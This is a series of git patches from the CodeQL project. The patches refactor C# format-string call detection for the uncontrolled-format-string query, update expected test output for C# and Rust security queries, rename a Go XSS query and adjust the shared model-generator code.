UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | provenance | | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | provenance | | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | provenance | MaD:2 | -| UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | provenance | MaD:2 | +| UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | provenance | | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | provenance | | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:9:25:9:61 | access to indexer : String | provenance | MaD:2 | @@ -23,14 +23,16 @@ nodes | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | semmle.label | access to local variable format : String | | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | semmle.label | call to method ReadLine : String | | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | semmle.label | access to local variable format | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | semmle.label | access to local variable path : String | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | -| UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | semmle.label | access to indexer : String | -| UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | semmle.label | access to local variable path | -| UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | semmle.label | access to local variable path | -| UncontrolledFormatString.cs:32:23:32:31 | access to property Text | semmle.label | access to property Text | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | semmle.label | access to local variable path : String | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | +| UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | semmle.label | access to indexer : String | +| UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:36:23:36:31 | access to property Text | semmle.label | access to property Text | | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | semmle.label | access to local variable format : String | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | | UncontrolledFormatStringBad.cs:9:25:9:61 | access to indexer : String | semmle.label | access to indexer : String | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | semmle.label | access to local variable format | subpaths +testFailures +| UncontrolledFormatString.cs:28:38:28:47 | // ... | Missing result: Alert | From 133e8d48977f189e31e11ef14a398988fc001775 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 10 Apr 2025 14:19:19 +0200 Subject: [PATCH 104/535] C#: Include CompositeFormat.Parse as Format like method. --- .../semmle/code/csharp/frameworks/Format.qll | 28 +++++++++++++++++++ csharp/ql/src/API Abuse/FormatInvalid.ql | 16 ----------- .../CWE-134/UncontrolledFormatString.ql | 2 +- 3 files changed, 29 insertions(+), 17 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll index cf61a5d75aab..f2fd292693d8 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll @@ -289,3 +289,31 @@ class FormatCall extends MethodCall { result = this.getArgument(this.getFirstArgument() + index) } } + +/** + * A method call to a method that parses a format string, for example a call + * to `string.Format()`. + */ +abstract private class FormatStringParseCallImpl extends MethodCall { + /** + * Gets the expression used as the format string. + */ + abstract Expr getFormatExpr(); +} + +final class FormatStringParseCall = FormatStringParseCallImpl; + +private class OrdinaryFormatCall extends FormatStringParseCallImpl instanceof FormatCall { + override Expr getFormatExpr() { result = FormatCall.super.getFormatExpr() } +} + +/** + * A method call to `System.Text.CompositeFormat.Parse`. + */ +class ParseFormatStringCall extends FormatStringParseCallImpl { + ParseFormatStringCall() { + this.getTarget() = any(SystemTextCompositeFormatClass x).getParseMethod() + } + + override Expr getFormatExpr() { result = this.getArgument(0) } +} diff --git a/csharp/ql/src/API Abuse/FormatInvalid.ql b/csharp/ql/src/API Abuse/FormatInvalid.ql index 056730a577df..2bcd15612eea 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.ql +++ b/csharp/ql/src/API Abuse/FormatInvalid.ql @@ -16,22 +16,6 @@ import semmle.code.csharp.frameworks.system.Text import semmle.code.csharp.frameworks.Format import FormatFlow::PathGraph -abstract class FormatStringParseCall extends MethodCall { - abstract Expr getFormatExpr(); -} - -class OrdinaryFormatCall extends FormatStringParseCall instanceof FormatCall { - override Expr getFormatExpr() { result = FormatCall.super.getFormatExpr() } -} - -class ParseFormatStringCall extends FormatStringParseCall { - ParseFormatStringCall() { - this.getTarget() = any(SystemTextCompositeFormatClass x).getParseMethod() - } - - override Expr getFormatExpr() { result = this.getArgument(0) } -} - module FormatInvalidConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLiteral } diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql index a027170dc372..b99839226c59 100644 --- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -20,7 +20,7 @@ module FormatStringConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink) { - sink.asExpr() = any(FormatCall call | call.hasInsertions()).getFormatExpr() + sink.asExpr() = any(FormatStringParseCall call).getFormatExpr() } } From c96003f2651de5a192ea4b783cda0486e868ddb1 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 10 Apr 2025 14:20:24 +0200 Subject: [PATCH 105/535] C#: Update test expected output. --- .../CWE-134/UncontrolledFormatString.expected | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected index 63c093f5c340..fa6aa70abf7c 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected @@ -2,6 +2,7 @@ | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | This format string depends on $@. | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine | thisread from stdin | | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | This format string depends on $@. | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | thisTextBox text | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | This format string depends on $@. | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | thisASP.NET query string | edges @@ -9,6 +10,7 @@ edges | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | provenance | Src:MaD:1 | | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | provenance | | | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | provenance | | | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | provenance | MaD:2 | | UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | @@ -28,11 +30,10 @@ nodes | UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | semmle.label | access to indexer : String | | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | semmle.label | access to local variable path | | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | semmle.label | access to local variable path | | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | semmle.label | access to property Text | | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | semmle.label | access to local variable format : String | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | | UncontrolledFormatStringBad.cs:9:25:9:61 | access to indexer : String | semmle.label | access to indexer : String | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | semmle.label | access to local variable format | subpaths -testFailures -| UncontrolledFormatString.cs:28:38:28:47 | // ... | Missing result: Alert | From 6cc3c820b4b11be9e53ceda731bb189b82e5a94f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 10 Apr 2025 14:25:56 +0200 Subject: [PATCH 106/535] C#: Add change note. --- .../src/change-notes/2025-04-10-uncontrolled-format-string.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md new file mode 100644 index 000000000000..184f84b51761 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The precision of the query `cs/uncontrolled-format-string` has been improved. Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. From a7ddfe2e89548584f678559129fc564d8e49d3b9 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 12 May 2025 16:06:02 +0200 Subject: [PATCH 107/535] C#: Address review comments. --- .../semmle/code/csharp/frameworks/Format.qll | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll index f2fd292693d8..b00459c64b0e 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/Format.qll @@ -233,15 +233,28 @@ class InvalidFormatString extends StringLiteral { } } +/** + * A method call to a method that parses a format string, for example a call + * to `string.Format()`. + */ +abstract private class FormatStringParseCallImpl extends MethodCall { + /** + * Gets the expression used as the format string. + */ + abstract Expr getFormatExpr(); +} + +final class FormatStringParseCall = FormatStringParseCallImpl; + /** * A method call to a method that formats a string, for example a call * to `string.Format()`. */ -class FormatCall extends MethodCall { +class FormatCall extends FormatStringParseCallImpl { FormatCall() { this.getTarget() instanceof FormatMethod } /** Gets the expression used as the format string. */ - Expr getFormatExpr() { result = this.getArgument(this.getFormatArgument()) } + override Expr getFormatExpr() { result = this.getArgument(this.getFormatArgument()) } /** Gets the argument number containing the format string. */ int getFormatArgument() { result = this.getTarget().(FormatMethod).getFormatArgument() } @@ -290,23 +303,6 @@ class FormatCall extends MethodCall { } } -/** - * A method call to a method that parses a format string, for example a call - * to `string.Format()`. - */ -abstract private class FormatStringParseCallImpl extends MethodCall { - /** - * Gets the expression used as the format string. - */ - abstract Expr getFormatExpr(); -} - -final class FormatStringParseCall = FormatStringParseCallImpl; - -private class OrdinaryFormatCall extends FormatStringParseCallImpl instanceof FormatCall { - override Expr getFormatExpr() { result = FormatCall.super.getFormatExpr() } -} - /** * A method call to `System.Text.CompositeFormat.Parse`. */ From f04d6fd8c827d585dfc4e543193e86b6240bb635 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 12 May 2025 17:45:00 +0100 Subject: [PATCH 108/535] Rust: Accept minor test changes for the cleartext logging query. --- .../security/CWE-312/CleartextLogging.expected | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 19efc0e19716..dc304a699e5a 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -28,8 +28,8 @@ | test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | | test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | | test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | -| test_logging.rs:138:5:138:38 | ...::log | test_logging.rs:138:11:138:37 | MacroExpr | test_logging.rs:138:5:138:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:138:11:138:37 | MacroExpr | MacroExpr | -| test_logging.rs:145:5:145:38 | ...::log | test_logging.rs:145:11:145:37 | MacroExpr | test_logging.rs:145:5:145:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:145:11:145:37 | MacroExpr | MacroExpr | +| test_logging.rs:138:5:138:38 | ...::log | test_logging.rs:138:27:138:37 | s1.password | test_logging.rs:138:5:138:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:138:27:138:37 | s1.password | s1.password | +| test_logging.rs:145:5:145:38 | ...::log | test_logging.rs:145:27:145:37 | s2.password | test_logging.rs:145:5:145:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:145:27:145:37 | s2.password | s2.password | | test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | | test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | | test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | @@ -151,7 +151,9 @@ edges | test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | | test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | | test_logging.rs:138:11:138:37 | MacroExpr | test_logging.rs:138:5:138:38 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:138:27:138:37 | s1.password | test_logging.rs:138:11:138:37 | MacroExpr | provenance | | | test_logging.rs:145:11:145:37 | MacroExpr | test_logging.rs:145:5:145:38 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:145:27:145:37 | s2.password | test_logging.rs:145:11:145:37 | MacroExpr | provenance | | | test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | | test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | @@ -358,8 +360,10 @@ nodes | test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | | test_logging.rs:138:5:138:38 | ...::log | semmle.label | ...::log | | test_logging.rs:138:11:138:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:138:27:138:37 | s1.password | semmle.label | s1.password | | test_logging.rs:145:5:145:38 | ...::log | semmle.label | ...::log | | test_logging.rs:145:11:145:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:145:27:145:37 | s2.password | semmle.label | s2.password | | test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | | test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:152:30:152:37 | password | semmle.label | password | From c933ab4ae225c674f273cdb1cc463cfa918f7438 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> Date: Mon, 12 May 2025 16:24:56 -0400 Subject: [PATCH 109/535] Apply suggestions from code review Co-authored-by: Chris Smowton --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 +- .../2025-05-01-html-template-escaping-bypass-xss.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 6dc0f702841c..0618c8e88885 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -1,5 +1,5 @@ /** - * @name HTML template escaping bypass cross-site scripting + * @name Cross-site scripting via HTML template escaping bypass * @description Converting user input to a special type that avoids escaping * when fed into an HTML template allows for a cross-site * scripting vulnerability. diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md index ab02478bf4a2..dc86e5b869d0 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -1,4 +1,4 @@ --- category: newQuery --- -* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From 3449a34018ea651bec9ea42b2f95a614e6e3a42f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 14:20:06 +0200 Subject: [PATCH 110/535] C#: Address review comments. --- .../src/change-notes/2025-04-10-uncontrolled-format-string.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md index 184f84b51761..ed9805f6ecef 100644 --- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md +++ b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* The precision of the query `cs/uncontrolled-format-string` has been improved. Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. From 6c9f248fdb45b61cbeee00a7555febe3f5c97bc7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 10:56:43 +0200 Subject: [PATCH 111/535] Shared: Avoid generating taint based heuristic summaries when a content sensitive summary can be generated. --- .../modelgenerator/internal/ModelGeneratorImpl.qll | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 331bcbc8b65d..1c5b534181d1 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -995,13 +995,13 @@ module MakeModelGeneratorFactory< DataFlowSummaryTargetApi api0, string input0, string output0, boolean preservesValue0 | // If the heuristic summary is taint-based, and we can generate a content-sensitive - // summary that is value-preserving then we omit generating any heuristic summary. - preservesValue = false and - preservesValue0 = true + // summary then we omit generating the heuristic summary. + preservesValue = false or - // However, if they're both value-preserving (or both taint-based) then we only - // generate a heuristic summary if we didn't generate a content-sensitive summary. - preservesValue = preservesValue0 and + // If they're both value-preserving then we only generate a heuristic summary if + // we didn't generate a content-sensitive summary on the same input/output pair. + preservesValue = true and + preservesValue0 = true and input0 = input and output0 = output | From a94cffa27ef8e9b3e80cfe7f1003516da2f5a260 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:00:28 +0200 Subject: [PATCH 112/535] Shared: Adjust the printing of heuristic value summaries (and fix a minor issue with output printing in captureSink). --- .../internal/ModelGeneratorImpl.qll | 63 ++++++++++--------- 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 1c5b534181d1..829bf267c226 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -73,14 +73,14 @@ signature module ModelGeneratorCommonInputSig::getOutput(node) + private string getApproximateOutput(ReturnNodeExt node) { + result = PrintReturnNodeExt::getOutput(node) + } + + private string getExactOutput(ReturnNodeExt node) { + result = PrintReturnNodeExt::getOutput(node) } /** @@ -320,6 +324,16 @@ module MakeModelGeneratorFactory< DataFlowSummaryTargetApi() { not isUninterestingForDataFlowModels(this) } } + /** + * Gets the MaD string representation of the parameter `p` + * when used in exact flow. + */ + private string parameterNodeAsExactInput(DataFlow::ParameterNode p) { + result = parameterExactAccess(asParameter(p)) + or + result = qualifierString() and p instanceof InstanceParameterNode + } + /** * Provides classes and predicates related to capturing summary models * based on heuristic data flow. @@ -336,8 +350,8 @@ module MakeModelGeneratorFactory< /** * Gets the MaD string representation of the parameter node `p`. */ - string parameterNodeAsInput(DataFlow::ParameterNode p) { - result = parameterAccess(asParameter(p)) + private string parameterNodeAsApproximateInput(DataFlow::ParameterNode p) { + result = parameterApproximateAccess(asParameter(p)) or result = qualifierString() and p instanceof InstanceParameterNode } @@ -545,16 +559,19 @@ module MakeModelGeneratorFactory< ReturnNodeExt returnNodeExt, string output, boolean preservesValue ) { ( - PropagateDataFlow::flow(p, returnNodeExt) and preservesValue = true + PropagateDataFlow::flow(p, returnNodeExt) and + input = parameterNodeAsExactInput(p) and + output = getExactOutput(returnNodeExt) and + preservesValue = true or not PropagateDataFlow::flow(p, returnNodeExt) and PropagateTaintFlow::flow(p, returnNodeExt) and + input = parameterNodeAsApproximateInput(p) and + output = getApproximateOutput(returnNodeExt) and preservesValue = false ) and getEnclosingCallable(p) = api and getEnclosingCallable(returnNodeExt) = api and - input = parameterNodeAsInput(p) and - output = getOutput(returnNodeExt) and input != output } @@ -651,20 +668,6 @@ module MakeModelGeneratorFactory< private module ContentModelPrinting = Printing::ModelPrintingSummary; - private string getContentOutput(ReturnNodeExt node) { - result = PrintReturnNodeExt::getOutput(node) - } - - /** - * Gets the MaD string representation of the parameter `p` - * when used in content flow. - */ - private string parameterNodeAsContentInput(DataFlow::ParameterNode p) { - result = parameterContentAccess(asParameter(p)) - or - result = qualifierString() and p instanceof InstanceParameterNode - } - private string getContent(PropagateContentFlow::AccessPath ap, int i) { result = "." + printContent(ap.getAtIndex(i)) } @@ -740,8 +743,8 @@ module MakeModelGeneratorFactory< PropagateContentFlow::AccessPath stores | apiFlow(this, parameter, reads, returnNodeExt, stores, _) and - input = parameterNodeAsContentInput(parameter) + printReadAccessPath(reads) and - output = getContentOutput(returnNodeExt) + printStoreAccessPath(stores) + input = parameterNodeAsExactInput(parameter) + printReadAccessPath(reads) and + output = getExactOutput(returnNodeExt) + printStoreAccessPath(stores) ) ) <= 3 } @@ -948,8 +951,8 @@ module MakeModelGeneratorFactory< PropagateContentFlow::AccessPath reads, PropagateContentFlow::AccessPath stores | apiRelevantContentFlow(api, p, reads, returnNodeExt, stores, preservesValue) and - input = parameterNodeAsContentInput(p) + printReadAccessPath(reads) and - output = getContentOutput(returnNodeExt) + printStoreAccessPath(stores) and + input = parameterNodeAsExactInput(p) + printReadAccessPath(reads) and + output = getExactOutput(returnNodeExt) + printStoreAccessPath(stores) and input != output and validateAccessPath(reads) and validateAccessPath(stores) and @@ -1174,7 +1177,7 @@ module MakeModelGeneratorFactory< sourceNode(source, kind) and api = getEnclosingCallable(sink) and not irrelevantSourceSinkApi(getEnclosingCallable(source), api) and - result = ModelPrintingSourceOrSink::asSourceModel(api, getOutput(sink), kind) + result = ModelPrintingSourceOrSink::asSourceModel(api, getExactOutput(sink), kind) ) } } From 09dc3c88b3ec26d743fdd08dc1de3edcb7f44bd7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 13 May 2025 13:08:02 +0200 Subject: [PATCH 113/535] C#: Update model generator implementation and test expected output. --- .../utils/modelgenerator/internal/CaptureModels.qll | 12 ++++++------ .../internal/CaptureTypeBasedSummaryModels.qll | 2 +- .../test/utils/modelgenerator/dataflow/Summaries.cs | 12 ++++++------ 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index b0300e4a87f1..db3d72bd27bb 100644 --- a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -124,13 +124,13 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig::paramReturnNodeAsOutput(c, pos) + string paramReturnNodeAsApproximateOutput(CS::Callable c, ParameterPosition pos) { + result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) } bindingset[c] - string paramReturnNodeAsContentOutput(Callable c, ParameterPosition pos) { - result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) + string paramReturnNodeAsExactOutput(Callable c, ParameterPosition pos) { + result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) } ParameterPosition getReturnKindParamPosition(ReturnKind kind) { diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll index baba462c8a24..84cb0db45da8 100644 --- a/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll +++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll @@ -39,7 +39,7 @@ private predicate localTypeParameter(Callable callable, TypeParameter tp) { */ private predicate parameter(Callable callable, string input, TypeParameter tp) { exists(Parameter p | - input = 